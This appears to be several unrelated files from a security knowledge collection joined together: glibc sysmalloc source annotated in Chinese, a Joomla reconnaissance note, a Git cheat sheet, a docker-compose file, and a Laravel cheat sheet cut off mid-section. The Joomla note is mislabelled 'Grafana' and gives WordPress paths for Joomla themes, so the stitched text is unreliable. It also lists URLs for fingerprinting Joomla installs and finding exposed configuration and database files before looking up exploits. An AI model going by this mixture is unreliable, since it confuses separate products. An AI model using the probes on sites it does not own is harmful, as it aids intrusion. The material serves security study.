if ((unsigned long)(size) > (unsigned long)(nb)) {
mm = (char *)(MMAP(0, size, PROT_READ | PROT_WRITE, 0));
if (mm != MAP_FAILED) {
/*
The offset to the start of the mmapped region is stored
in the prev_size field of the chunk. This allows us to adjust
returned start address to meet alignment requirements here
and in memalign(), and still be able to compute proper
address argument for later munmap in free() and realloc().
*/
if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) {
/* For glibc, chunk2mem increases the address by 2*SIZE_SZ and
MALLOC_ALIGN_MASK is 2*SIZE_SZ-1. Each mmap'ed area is page
aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */
assert(((INTERNAL_SIZE_T)chunk2mem(mm) & MALLOC_ALIGN_MASK) == 0);
front_misalign = 0;
} else
front_misalign = (INTERNAL_SIZE_T)chunk2mem(mm) & MALLOC_ALIGN_MASK;
if (front_misalign > 0) {
correction = MALLOC_ALIGNMENT - front_misalign;
p = (mchunkptr)(mm + correction);
set_prev_size(p, correction);
set_head(p, (size - correction) | IS_MMAPPED);
} else {
p = (mchunkptr)mm;
set_prev_size(p, 0);
set_head(p, size | IS_MMAPPED);
}
/* update statistics */
int new = atomic_exchange_and_add(&mp_.n_mmaps, 1) + 1;
atomic_max(&mp_.max_n_mmaps, new);
unsigned long sum;
sum = atomic_exchange_and_add(&mp_.mmapped_mem, size) + size;
atomic_max(&mp_.max_mmapped_mem, sum);
check_chunk(av, p);
return chunk2mem(p);
}
}
}
```
### mmap 失败或者未分配堆处理方式
```c
/* There are no usable arenas and mmap also failed. */
if (av == NULL)
return 0;
```
如果是这两种情况中的任何一种,其实就可以退出了。。
### 记录旧堆信息方法
```c
/* Record incoming configuration of top */
old_top = av->top;
old_size = chunksize(old_top);
old_end = (char *)(chunk_at_offset(old_top, old_size));
brk = snd_brk = (char *)(MORECORE_FAILURE);
```
### 检查旧堆信息方法1
```c
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE && prev_inuse(old_top) &&
((unsigned long)old_end & (pagesize - 1)) == 0));
```
这个检查要求满足其中任何一个条件
1. `old_top == initial_top(av) && old_size == 0`,即如果是第一次的话,堆的大小需要是 0。
2. 新的堆,那么
1. `(unsigned long)(old_size) >= MINSIZE && prev_inuse(old_top)`,堆的大小应该不小于 `MINSIZE`,并且前一个堆块应该处于使用中。
2. `((unsigned long)old_end & (pagesize - 1)) == 0)`,堆的结束地址应该是页对齐的,由于页对齐的大小默认是0x1000,所以低 12 个比特需要为 0。
### 检查旧堆信息方法2
```c
/* Precondition: not enough current space to satisfy nb request */
assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));
```
根据 malloc 中的定义
```c
static void *_int_malloc(mstate av, size_t bytes) {
INTERNAL_SIZE_T nb; /* normalized request size */
```
`nb` 应该是已经加上 chunk 头部的字节,为什么还要加上 `MINSIZE `呢?这是因为 top chunk 的大小应该至少预留 MINSIZE 空间,以便于合并。
### 非 main_arena
这里暂时不是关心的重点,暂且不分析。
```c
if (av != &main_arena) {
heap_info *old_heap, *heap;
size_t old_heap_size;
/* First try to extend the current heap. */
old_heap = heap_for_ptr(old_top);
old_heap_size = old_heap->size;
if ((long)(MINSIZE + nb - old_size) > 0 &&
grow_heap(old_heap, MINSIZE + nb - old_size) == 0) {
av->system_mem += old_heap->size - old_heap_size;
set_head(old_top,
(((char *)old_heap + old_heap->size) - (char *)old_top) |
PREV_INUSE);
} else if ((heap = new_heap(nb + (MINSIZE + sizeof(*heap)), mp_.top_pad))) {
/* Use a newly allocated heap. */
heap->ar_ptr = av;
heap->prev = old_heap;
av->system_mem += heap->size;
/* Set up the new top. */
top(av) = chunk_at_offset(heap, sizeof(*heap));
set_head(top(av), (heap->size - sizeof(*heap)) | PREV_INUSE);
/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */
/* The fencepost takes at least MINSIZE bytes, because it might
become the top chunk again later. Note that a footer is set
up, too, although the chunk is marked in use. */
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head(chunk_at_offset(old_top, old_size + 2 * SIZE_SZ),
0 | PREV_INUSE);
if (old_size >= MINSIZE) {
set_head(chunk_at_offset(old_top, old_size),
(2 * SIZE_SZ) | PREV_INUSE);
set_foot(chunk_at_offset(old_top, old_size), (2 * SIZE_SZ));
set_head(old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free(av, old_top, 1);
} else {
set_head(old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
set_foot(old_top, (old_size + 2 * SIZE_SZ));
}
} else if (!tried_mmap)
/* We can at least try to use to mmap memory. */
goto try_mmap;
}
```
### 申请内存块关于Main_arena 处理方式
#### 计算内存
计算可以满足请求的内存大小。
```c
else { /* av == main_arena */
/* Request enough space for nb + pad + overhead */
size = nb + mp_.top_pad + MINSIZE;
```
默认情况下 `top_pad`定义为
```c
#ifndef DEFAULT_TOP_PAD
# define DEFAULT_TOP_PAD 131072
#endif
```
即 131072 字节,0x20000 字节。
#### 是否连续
如果我们希望堆的空间连续的话,那么其实可以复用之前的内存。
```c
/*
If contiguous, we can subtract out existing space that we hope to
combine with new space. We add it back later only if
we don't actually get contiguous space.
*/
if (contiguous(av))
size -= old_size;
```
#### 对齐页大小
```c
/*
Round to a multiple of page size.
If MORECORE is not contiguous, this ensures that we only call it
with whole-page arguments. And if MORECORE is contiguous and
this is not first time through, this preserves page-alignment of
previous calls. Otherwise, we correct to page-align below.
*/
size = ALIGN_UP(size, pagesize);
```
#### 申请内存
```c
/*
Don't try to call MORECORE if argument is so big as to appear
negative. Note that since mmap takes size_t arg, it may succeed
below even if we cannot call MORECORE.
*/
if (size > 0) {
brk = (char *)(MORECORE(size));
LIBC_PROBE(memory_sbrk_more, 2, brk, size);
}
```
##### 可能成功
```c
if (brk != (char *)(MORECORE_FAILURE)) {
/* Call the `morecore' hook if necessary. */
void (*hook)(void) = atomic_forced_read(__after_morecore_hook);
if (__builtin_expect(hook != NULL, 0))
(*hook)();
}
```
这里竟然调用了一个 hook,有点意思。
##### 失败
失败,考虑 mmap。
```c
else {
/*
If have mmap, try using it as a backup when MORECORE fails or
cannot be used. This is worth doing on systems that have "holes" in
address space, so sbrk cannot extend to give contiguous space, but
space is available elsewhere. Note that we ignore mmap max count
and threshold limits, since the space will not be used as a
segregated mmap region.
*/
/* Cannot merge with old top, so add its size back in */
if (contiguous(av))
size = ALIGN_UP(size + old_size, pagesize);
/* If we are relying on mmap as backup, then use larger units */
if ((unsigned long)(size) < (unsigned long)(MMAP_AS_MORECORE_SIZE))
size = MMAP_AS_MORECORE_SIZE;
/* Don't try if size wraps around 0 */
if ((unsigned long)(size) > (unsigned long)(nb)) {
char *mbrk = (char *)(MMAP(0, size, PROT_READ | PROT_WRITE, 0));
if (mbrk != MAP_FAILED) {
/* We do not need, and cannot use, another sbrk call to find end */
brk = mbrk;
snd_brk = brk + size;
/*
Record that we no longer have a contiguous sbrk region.
After the first time mmap is used as backup, we do not
ever rely on contiguous space since this could incorrectly
bridge regions.
*/
set_noncontiguous(av);
}
}
}
```
#### 内存可能申请成功
```c
if (brk != (char *)(MORECORE_FAILURE)) {
if (mp_.sbrk_base == 0)
mp_.sbrk_base = brk;
av->system_mem += size;
```
##### 情况 1
```c
/*
If MORECORE extends previous space, we can likewise extend top size.
*/
if (brk == old_end && snd_brk == (char *)(MORECORE_FAILURE))
set_head(old_top, (size + old_size) | PREV_INUSE);
```
##### 情况 2 - 意外内存耗尽
```c
else if (contiguous(av) && old_size && brk < old_end)
/* Oops! Someone else killed our space.. Can't touch anything. */
malloc_printerr("break adjusted to free malloc space");
```
##### 处理其他意外情况
```c
/*
Otherwise, make adjustments:
* If the first time through or noncontiguous, we need to call sbrk
just to find out where the end of memory lies.
* We need to ensure that all returned chunks from malloc will meet
MALLOC_ALIGNMENT
* If there was an intervening foreign sbrk, we need to adjust sbrk
request size to account for fact that we will not be able to
combine new space with existing space in old_top.
* Almost all systems internally allocate whole pages at a time, in
which case we might as well use the whole last page of request.
So we allocate enough more memory to hit a page boundary now,
which in turn causes future contiguous calls to page-align.
*/
else {
front_misalign = 0;
end_misalign = 0;
correction = 0;
aligned_brk = brk;
```
###### 处理连续内存
```c
/* handle contiguous cases */
if (contiguous(av)) {
/* Count foreign sbrk as system_mem. */
if (old_size)
av->system_mem += brk - old_end;
/* Guarantee alignment of first new chunk made from this space */
front_misalign = (INTERNAL_SIZE_T)chunk2mem(brk) & MALLOC_ALIGN_MASK;
if (front_misalign > 0) {
/*
Skip over some bytes to arrive at an aligned position.
We don't need to specially mark these wasted front bytes.
They will never be accessed anyway because
prev_inuse of av->top (and any chunk created from its start)
is always true after initialization.
*/
correction = MALLOC_ALIGNMENT - front_misalign;
aligned_brk += correction;
}
/*
If this isn't adjacent to existing space, then we will not
be able to merge with old_top space, so must add to 2nd request.
*/
correction += old_size;
/* Extend the end address to hit a page boundary */
end_misalign = (INTERNAL_SIZE_T)(brk + size + correction);
correction += (ALIGN_UP(end_misalign, pagesize)) - end_misalign;
assert(correction >= 0);
snd_brk = (char *)(MORECORE(correction));
/*
If can't allocate correction, try to at least find out current
brk. It might be enough to proceed without failing.
Note that if second sbrk did NOT fail, we assume that space
is contiguous with first sbrk. This is a safe assumption unless
program is multithreaded but doesn't use locks and a foreign sbrk
occurred between our first and second calls.
*/
if (snd_brk == (char *)(MORECORE_FAILURE)) {
correction = 0;
snd_brk = (char *)(MORECORE(0));
} else {
/* Call the `morecore' hook if necessary. */
void (*hook)(void) = atomic_forced_read(__after_morecore_hook);
if (__builtin_expect(hook != NULL, 0))
(*hook)();
}
}
```
###### 处理不连续内存
```c
/* handle non-contiguous cases */
else {
if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
/* MORECORE/mmap must correctly align */
assert(((unsigned long)chunk2mem(brk) & MALLOC_ALIGN_MASK) == 0);
else {
front_misalign =
(INTERNAL_SIZE_T)chunk2mem(brk) & MALLOC_ALIGN_MASK;
if (front_misalign > 0) {
/*
Skip over some bytes to arrive at an aligned position.
We don't need to specially mark these wasted front bytes.
They will never be accessed anyway because
prev_inuse of av->top (and any chunk created from its start)
is always true after initialization.
*/
aligned_brk += MALLOC_ALIGNMENT - front_misalign;
}
}
/* Find out current end of memory */
if (snd_brk == (char *)(MORECORE_FAILURE)) {
snd_brk = (char *)(MORECORE(0));
}
}
```
###### 调整
```c
/* Adjust top based on results of second sbrk */
if (snd_brk != (char *)(MORECORE_FAILURE)) {
av->top = (mchunkptr)aligned_brk;
set_head(av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
av->system_mem += correction;
/*
If not the first time through, we either have a
gap due to foreign sbrk or a non-contiguous region. Insert a
double fencepost at old_top to prevent consolidation with space
we don't own. These fenceposts are artificial chunks that are
marked as inuse and are in any case too small to use. We need
two to make sizes and alignments work out.
*/
if (old_size != 0) {
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head(old_top, old_size | PREV_INUSE);
/*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise
gets lost.
*/
set_head(chunk_at_offset(old_top, old_size),
(2 * SIZE_SZ) | PREV_INUSE);
set_head(chunk_at_offset(old_top, old_size + 2 * SIZE_SZ),
(2 * SIZE_SZ) | PREV_INUSE);
/* If possible, release the rest. */
if (old_size >= MINSIZE) {
_int_free(av, old_top, 1);
}
}
}
}
```
需要注意的是,在这里程序将旧的 top chunk 进行了释放,那么其会根据大小进入不同的 bin 或 tcache 中。
#### 更新最大内存
```c
if ((unsigned long)av->system_mem > (unsigned long)(av->max_system_mem))
av->max_system_mem = av->system_mem;
check_malloc_state(av);
```
#### 分配内存块
##### 获取大小
```c
/* finally, do the allocation */
p = av->top;
size = chunksize(p);
```
##### 切分 top
```c
/* check that one of the above allocation paths succeeded */
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
remainder_size = size - nb;
remainder = chunk_at_offset(p, nb);
av->top = remainder;
set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, p, nb);
return chunk2mem(p);
}
```
#### 捕捉所有错误
```c
/* catch all failure paths */
__set_errno(ENOMEM);
return 0;
```
|
sec-knowleage
|
# Grafana
## Introduction
What would you do if you came across a website that uses Joomla ?
## How to Detect
Try to HTTP request to `https://example.com/` and if you see the source code, you will see something like this `<meta name="generator" content="Joomla! - Open Source Content Management" />`
1. Find the related CVE by checking the core, plugins, and theme version
* How to find the joomla version
```
https://target.com/administrator/manifests/files/joomla.xml
```
* How to find the joomla plugin version
```
https://target.com/administrator/components/com_NAMEPLUGIN/NAMEPLUGIN.xml
for example
https://target.com/administrator/components/com_contact/contact.xml
```
> or change NAMEPLUGIN.xml to `changelog.txt` or `readme.md` or `readme.txt`
* How to find the theme version
```
https://target.com/wp-content/themes/THEMENAME/style.css
https://target.com/wp-content/themes/THEMENAME/readme.txt (If they have readme file)
```
If you found outdated core / plugins, find the exploit at https://exploit-db.com
2. Joomla! Config Dist File
```
https://example.com/configuration.php-dist
```
3. Database File List
```
https://example.com/libraries/joomla/database/
```
## References
- [Exploit-db #6377](https://www.exploit-db.com/ghdb/6377)
|
sec-knowleage
|
---
title: Git
date: 2020-11-25 18:28:43
background: bg-[#d7593e]
tags:
- github
- gitlab
- version
- VCS
categories:
- Linux Command
intro: This cheat sheet summarizes commonly used Git command line instructions for quick reference.
plugins:
- copyCode
---
Getting Started
---------------
### Create a Repository
Create a new local repository
``` shell script
$ git init [project name]
```
Clone a repository
``` shell script
$ git clone git_url
```
Clone a repository into a specified directory
``` shell script
$ git clone git_url my_directory
```
### Make a change {.row-span-2}
Show modified files in working directory, staged for your next commit
``` shell script
$ git status
```
Stages the file, ready for commit
``` shell script
$ git add [file]
```
Stage all changed files, ready for commit
``` shell script
$ git add .
```
Commit all staged files to versioned history
``` shell script
$ git commit -m "commit message"
```
Commit all your tracked files to versioned history
``` shell script
$ git commit -am "commit message"
```
Discard changes in working directory which is not staged
``` shell script
$ git restore [file]
```
Unstage a stagged file or file which is staged
``` shell script
$ git restore --staged [file]
```
Unstages file, keeping the file changes
``` shell script
$ git reset [file]
```
Revert everything to the last commit
``` shell script
$ git reset --hard
```
Diff of what is changed but not staged
``` shell script
$ git diff
```
Diff of what is staged but not yet commited
``` shell script
$ git diff --staged
```
Apply any commits of current branch ahead of specified one
``` shell script
$ git rebase [branch]
```
### Configuration
Set the name that will be attached to your commits and tags
``` shell script
$ git config --global user.name "name"
```
Set an email address that will be attached to your commits and tags
``` shell script
$ git config --global user.email "email"
```
Enable some colorization of Git output
``` shell script
$ git config --global color.ui auto
```
Edit the global configuration file in a text editor
``` shell script
$ git config --global --edit
```
### Working with Branches
List all local branches
``` shell script
$ git branch
```
List all branches, local and remote
``` shell script
$ git branch -av
```
Switch to my_branch, and update working directory
``` shell script
$ git checkout my_branch
```
Create a new branch called new_branch
``` shell script
$ git checkout -b new_branch
```
Delete the branch called my_branch
``` shell script
$ git branch -d my_branch
```
Merge branchA into branchB
``` shell script
$ git checkout branchB
$ git merge branchA
```
Tag the current commit
``` shell script
$ git tag my_tag
```
### Observe your Repository
Show the commit history for the currently active branch
``` shell script
$ git log
```
Show the commits on branchA that are not on branchB
``` shell script
$ git log branchB..branchA
```
Show the commits that changed file, even across renames
``` shell script
$ git log --follow [file]
```
Show the diff of what is in branchA that is not in branchB
``` shell script
$ git diff branchB...branchA
```
Show any object in Git in human-readable format
``` shell script
$ git show [SHA]
```
### Synchronize
Fetch down all the branches from that Git remote
``` shell script
$ git fetch [alias]
```
Merge a remote branch into your current branch to bring it up to date
``` shell script
$ git merge [alias]/[branch]
# No fast-forward
$ git merge --no-ff [alias]/[branch]
# Only fast-forward
$ git merge --ff-only [alias]/[branch]
```
Transmit local branch commits to the remote repository branch
``` shell script
$ git push [alias] [branch]
```
Fetch and merge any commits from the tracking remote branch
``` shell script
$ git pull
```
Merge just one specific commit from another branch to your current branch
``` shell script
$ git cherry-pick [commit_id]
```
### Remote
Add a git URL as an alias
``` shell script
$ git remote add [alias] [url]
```
Show the names of the remote repositories you've set up
``` shell script
$ git remote
```
Show the names and URLs of the remote repositories
``` shell script
$ git remote -v
```
Remove a remote repository
``` shell script
$ git remote rm [remote repo name]
```
Change the URL of the git repo
``` shell script
$ git remote set-url origin [git_url]
```
### Temporary Commits
Save modified and staged changes
``` shell script
$ git stash
```
List stack-order of stashed file changes
``` shell script
$ git stash list
```
Write working from top of stash stack
``` shell script
$ git stash pop
```
Discard the changes from top of stash stack
``` shell script
$ git stash drop
```
### Tracking path Changes
Delete the file from project and stage the removal for commit
``` shell script
$ git rm [file]
```
Change an existing file path and stage the move
``` shell script
$ git mv [existing-path] [new-path]
```
Show all commit logs with indication of any paths that moved
``` shell script
$ git log --stat -M
```
### Ignoring Files
```
/logs/*
# "!" means don't ignore
!logs/.gitkeep
/# Ignore Mac system files
.DS_store
# Ignore node_modules folder
node_modules
# Ignore SASS config files
.sass-cache
```
A `.gitignore` file specifies intentionally untracked files that Git should ignore
Git Tricks
------
### Rename branch
- #### **Renamed** to `new_name`
```shell script
$ git branch -m <new_name>
```
- #### **Push** and reset
```shell script
$ git push origin -u <new_name>
```
- #### **Delete** remote branch
```shell script
$ git push origin --delete <old>
```
{.marker-timeline}
### Log
Search change by content
```shell script
$ git log -S'<a term in the source>'
```
Show changes over time for specific file
```shell script
$ git log -p <file_name>
```
Print out a cool visualization of your log
```shell script {.wrap}
$ git log --pretty=oneline --graph --decorate --all
```
### Branch {.row-span-2}
List all branches and their upstreams
```shell script
$ git branch -vv
```
Quickly switch to the previous branch
```shell script
$ git checkout -
```
Get only remote branches
```shell script
$ git branch -r
```
Checkout a single file from another branch
```shell script
$ git checkout <branch> -- <file>
```
### Rewriting history
Rewrite last commit message
```shell script
$ git commit --amend -m "new message"
```
See also: [Rewriting history](https://www.atlassian.com/git/tutorials/rewriting-history)
### Git Aliases
```cmd
git config --global alias.co checkout
git config --global alias.br branch
git config --global alias.ci commit
git config --global alias.st status
```
See also: [More Aliases](https://gist.github.com/johnpolacek/69604a1f6861129ef088)
|
sec-knowleage
|
version: '2'
services:
apache:
image: php:apache
volumes:
- ./www:/var/www/html
- ./conf/docker-php.conf:/etc/apache2/conf-enabled/docker-php.conf
- ./start.sh:/var/www/start.sh
command: /bin/sh /var/www/start.sh
ports:
- "80:80"
|
sec-knowleage
|
---
title: Laravel
date: 2021-11-09 18:26:55
background: bg-[#e44230]
label: PHP
tags:
- web
- framework
- php
categories:
- Programming
intro: |
[Laravel](https://laravel.com/docs/8.x/) is an expressive and progressive web application framework for PHP.
This cheat sheet provides a reference for common commands and features for Laravel 8.
plugins:
- copyCode
---
Getting Started
---------------
### Requirements {.row-span-2}
- PHP version >= 7.3
- BCMath PHP Extension
- Ctype PHP Extension
- Fileinfo PHP Extension
- JSON PHP Extension
- Mbstring PHP Extension
- OpenSSL PHP Extension
- PDO PHP Extension
- Tokenizer PHP Extension
- XML PHP Extension
Ensure your web server directs all requests to your application's
`public/index.php` file, See: [Deployment](#deployment)
### Windows
- #### Install [Docker Desktop](https://www.docker.com/products/docker-desktop)
- #### Install & enable [WSL2](https://docs.microsoft.com/en-us/windows/wsl/install)
- #### Ensure that Docker Desktop is [configured to use WSL2](https://docs.docker.com/desktop/windows/wsl/)
- #### In WSL2 terminal:
```shell
$ curl -s https://laravel.build/example-app | bash
$ cd example-app
$ ./vendor/bin/sail up
```
{.marker-timeline}
Access application via `http://localhost`
### Mac
- #### Install [Docker Desktop](https://www.docker.com/products/docker-desktop)
- #### In terminal:
```shell
$ curl -s https://laravel.build/example-app | bash
$ cd example-app
$ ./vendor/bin/sail up
```
{.marker-timeline}
Access application via `http://localhost`
### Linux
```shell
$ curl -s https://laravel.build/example-app | bash
$ cd example-app
$ ./vendor/bin/sail up
```
Installation via [Composer](https://getcomposer.org)
```bash
$ composer create-project laravel/laravel example-app
$ cd example-app
$ php artisan serve
```
Access application via `http://localhost`
Configuration
---------------
### .env {.cols-2}
Retrieve values from `.env` file
```php
env('APP_DEBUG');
// with default value
env('APP_DEBUG', false);
```
Determine current environment
```php
use Illuminate\Support\Facades\App;
$environment = App::environment();
```
Accessing configuration values using "dot" syntax
```php
// config/app.php --> ['timezone' => '']
$value = config('app.timezone');
// Retrieve a default value if the configuration value does not exist...
$value = config('app.timezone', 'Asia/Seoul');
```
Set configuration values at runtime:
```php
config(['app.timezone' => 'America/Chicago']);
```
### Debug Mode
Turn on (local dev):
```php
// .env file
APP_ENV=local
APP_DEBUG=true
// ...
```
Turn off (production):
```php
// .env file
APP_ENV=production
APP_DEBUG=false
// ...
```
### Maintenance Mode
Temporarily disable application (503 status code)
```bash
php artisan down
```
#### Disable maintenance mode
```bash
php artisan up
```
#### Bypass Maintenance Mode
```bash
php artisan down --secret="1630542a-246b-4b66-afa1-dd72a4c43515"
```
Visit your application URL `https://example.com/1630542a-246b-4b66-afa1-dd72a4c43515` to set a cookie and bypass the maintenance screen
Routing
---------------
### Router HTTP Methods {.row-span-2}
```php
Route::get($uri, $callback);
Route::post($uri, $callback);
Route::put($uri, $callback);
Route::patch($uri, $callback);
Route::delete($uri, $callback);
Route::options($uri, $callback);
```
Multiple HTTP methods
```php
Route::match(['get', 'post'], '/', function () {
//
});
Route::any('/', function () {
//
});
```
### Basic Definition {.row-span-2}
```php
use Illuminate\Support\Facades\Route;
// closure
Route::get('/greeting', function () {
return 'Hello World';
});
// controller action
Route::get(
'/user/profile',
[UserProfileController::class, 'show']
);
```
### Dependency Injection
```php
use Illuminate\Http\Request;
Route::get('/users', function (Request $request) {
// ...
});
```
Type hint concrete dependencies for auto-injection
### View Routes
```php
// Argument 1: URI, Argument 2: view name
Route::view('/welcome', 'welcome');
// with data
Route::view('/welcome', 'welcome', ['name' => 'Taylor']);
```
Route only needs to return a view.
### Route Model Binding {.row-span-4}
#### Implicit binding
With closure
```php
use App\Models\User;
Route::get('/users/{user}', function (User $user) {
return $user->email;
});
// /user/1 --> User::where('id', '=', 1);
```
With controller action
```php
use App\Http\Controllers\UserController;
use App\Models\User;
// Route definition...
Route::get('/users/{user}', [UserController::class, 'show']);
// Controller method definition...
public function show(User $user)
{
return view('user.profile', ['user' => $user]);
}
```
With custom resolution column
```php
use App\Models\Post;
Route::get('/posts/{post:slug}', function (Post $post) {
return $post;
});
// /posts/my-post --> Post::where('slug', '=', 'my-post');
```
Always use a different column to resolve
```php
// in App\Models\Post
public function getRouteKeyName()
{
return 'slug';
}
```
Multiple models - second is child of first
```php
use App\Models\Post;
use App\Models\User;
Route::get('/users/{user}/posts/{post:slug}', function (User $user, Post $post) {
return $post;
});
```
Convenient way to automatically inject the model instances directly into your routes
### Route Parameters {.row-span-2}
Capture segments of the URI within your route
#### Required parameters
```php
Route::get('/user/{id}', function ($id) {
return 'User '.$id;
});
```
With dependency injection
```php
use Illuminate\Http\Request;
Route::get('/user/{id}', function (Request $request, $id) {
return 'User '.$id;
});
```
#### Optional Parameters
```php
Route::get('/user/{name?}', function ($name = null) {
return $name;
});
Route::get('/user/{name?}', function ($name = 'John') {
return $name;
});
```
### Redirect Routes
HTTP `302` status
```php
Route::redirect('/here', '/there');
```
Set the status code
```php
Route::redirect('/here', '/there', 301);
```
Permanent `301` redirect
```php
Route::permanentRedirect('/here', '/there');
```
### Regular Expression Constraints {.cols-2}
```php
Route::get('/user/{name}', function ($name) {
//
})->where('name', '[A-Za-z]+');
Route::get('/user/{id}', function ($id) {
//
})->where('id', '[0-9]+');
Route::get('/user/{id}/{name}', function ($id, $name) {
//
})->where(['id' => '[0-9]+', 'name' => '[a-z]+']);
```
See also: [Regex Cheatsheet](/regex)
### Named Routes
Route names should always be unique
```php
Route::get('/user/profile', function () {
//
})->name('profile');
```
See: [Helpers](#helpers-cols-3)
### Fallback Routes
```php
Route::fallback(function () {
//
});
```
Executed when no other routes match
### Route Groups
#### Middleware
```php
Route::middleware(['first', 'second'])->group(function () {
Route::get('/', function () {
// Uses first & second middleware...
});
Route::get('/user/profile', function () {
// Uses first & second middleware...
});
});
```
#### URI Prefixes
```php
Route::prefix('admin')->group(function () {
Route::get('/users', function () {
// Matches The "/admin/users" URL
});
});
```
#### Name Prefix
```php
Route::name('admin.')->group(function () {
Route::get('/users', function () {
// Route assigned name "admin.users"...
})->name('users');
});
```
Share attributes across routes
### Accessing current route
```php
use Illuminate\Support\Facades\Route;
// Illuminate\Routing\Route
$route = Route::current();
// string
$name = Route::currentRouteName();
// string
$action = Route::currentRouteAction();
```
Helpers
---------------
### routes {.row-span-2}
#### Named route
```php
$url = route('profile');
```
With parameters
```php
// Route::get('/user/{id}/profile', /*...*/ )->name('profile);
$url = route('profile', ['id' => 1]);
// /user/1/profile/
```
With query string
```php
// Route::get('/user/{id}/profile', /*...*/ )->name('profile);
$url = route('profile', ['id' => 1, 'photos'=>'yes']);
// /user/1/profile?photos=yes
```
#### Redirects
```php
// Generating Redirects...
return redirect()->route('profile');
```
#### Eloquent Models
```php
echo route('post.show', ['post' => $post]);
```
The route helper will automatically extract the model's route key.
See [Routing](#routing-cols-4)
### URL Generation
Generate arbitrary URLs for your application that will
automatically use the scheme (HTTP or HTTPS) and host
from the current request
```php
$post = App\Models\Post::find(1);
echo url("/posts/{$post->id}");
// http://example.com/posts/1
```
#### Current URL
```php
// Get the current URL without the query string...
echo url()->current();
// Get the current URL including the query string...
echo url()->full();
// Get the full URL for the previous request...
echo url()->previous();
```
### Named Route URL
```php
$url = route('profile');
```
See [Named Route](#named-route)
### Error Handling
```php
public function isValid($value)
{
try {
// Validate the value...
} catch (Throwable $e) {
report($e);
return false;
}
}
```
Report an exception but continue handling the current request
### HTTP Exceptions
```php
// page not found
abort(404);
```
Generate an HTTP exception response using status code
Controllers
---------------
### Basic
```php
namespace App\Http\Controllers;
use App\Http\Controllers\Controller;
use App\Models\User;
class UserController extends Controller
{
public function show($id)
{
return view('user.profile', [
'user' => User::findOrFail($id)
]);
}
}
```
Define a route for this controller method:
```php
use App\Http\Controllers\UserController;
Route::get('/user/{id}', [UserController::class, 'show']);
```
Requests
---------------
### CSRF Protection
Laravel automatically generates a CSRF "token" for each active user session.
This token is used to verify that the authenticated user is the person actually making the requests.
Get current session's token:
```php
Route::get('/token', function (Request $request) {
$token = $request->session()->token();
$token = csrf_token();
// ...
});
```
`POST`, `PUT`, `PATCH`, or `DELETE` forms should include a hidden CSRF `_token` field
in the form to validate the request.
```html
<form method="POST" action="/profile">
@csrf
<!-- Equivalent to... -->
<input type="hidden" name="_token" value="{{ csrf_token() }}" />
</form>
```
See [Forms](#forms-cols-3)
### Accessing Request
Get an instance of the current request by type-hinting the
controller action or route closure
```php
// controller action
class UserController extends Controller
{
public function store(Request $request)
{
$name = $request->input('name');
}
}
// closure
Route::get('/', function (Request $request) {
//
});
```
[See Routing](#routing)
### Path
The request's path information
```php
$uri = $request->path();
// https://example.com/foo/bar --> foo/bar
```
#### Match path to pattern
Verify that the incoming request path matches a given pattern
```php
// * is wildcard
if ($request->is('admin/*')) {
//
}
```
Determine if the incoming request matches a named route
```php
if ($request->routeIs('admin.*')) {
//
}
```
### URL
Full URL for the incoming request
```php
// URL without the query string
$url = $request->url();
// URL including query string
$urlWithQueryString = $request->fullUrl();
// append data to query string
$request->fullUrlWithQuery(['type' => 'phone']);
```
### Request Method
```php
$method = $request->method();
// verify that the HTTP verb matches a given string
if ($request->isMethod('post')) {
//
}
```
### Client IP
```php
$ipAddress = $request->ip();
```
### Headers
```php
$value = $request->header('X-Header-Name');
$value = $request->header('X-Header-Name', 'default value');
// determine if the request contains a given header
if ($request->hasHeader('X-Header-Name')) {
//
}
// retrieve a bearer token from the Authorization header
$token = $request->bearerToken();
```
### Content Type
Return an array containing all the content types accepted by the request
```php
$contentTypes = $request->getAcceptableContentTypes();
```
Boolean check for content types are accepted by the request
```php
if ($request->accepts(['text/html', 'application/json'])) {
// ...
}
```
### Input {.row-span-4}
Retrieve all the incoming request's input data as an array
```php
$input = $request->all();
```
Retrieve all the incoming request's input data as a collection
```php
$input = $request->collect();
// retrieve subset as collection
$request->collect('users')->each(function ($user) {
// ...
});
```
See [Helpers](#helpers-cols-3)
Retrieve user input (also gets values from query string)
```php
$name = $request->input('name');
// with default value if none present
$name = $request->input('name', 'Sally');
```
Access array inputs
```php
$name = $request->input('products.0.name');
$names = $request->input('products.*.name');
```
Retrieve all the input values as an associative array:
```php
$input = $request->input();
```
Only retrieve values from the query string:
```php
$name = $request->query('name');
// with default value
$name = $request->query('name', 'Helen');
```
Retrieve all the query string values as an associative array:
```php
$query = $request->query();
```
#### Boolean Input Values
Helpful for checkbox inputs or other booleans.
Return `true` for `1`, `"1"`, `true`, `"true"`, `"on"`, and `"yes"`.
All other values will return `false`
```php
$archived = $request->boolean('archived');
```
### Dynamic Properties
Access inputs via properties.
If not found as an input, the route parameters will be checked.
```php
$name = $request->name;
```
### Retrieve Partial Input
```php
$input = $request->only(['username', 'password']);
$input = $request->only('username', 'password');
$input = $request->except(['credit_card']);
$input = $request->except('credit_card');
```
### Check Existence
Determine if value(s) present
```php
if ($request->has('name')) {
//
}
// check if ALL values are present
if ($request->has(['name', 'email'])) {
//
}
// if any values are present
if ($request->hasAny(['name', 'email'])) {
//
}
```
### Old Input
Retrieve input from the previous request
```php
$username = $request->old('username');
```
Or use the `old()` helper
```php
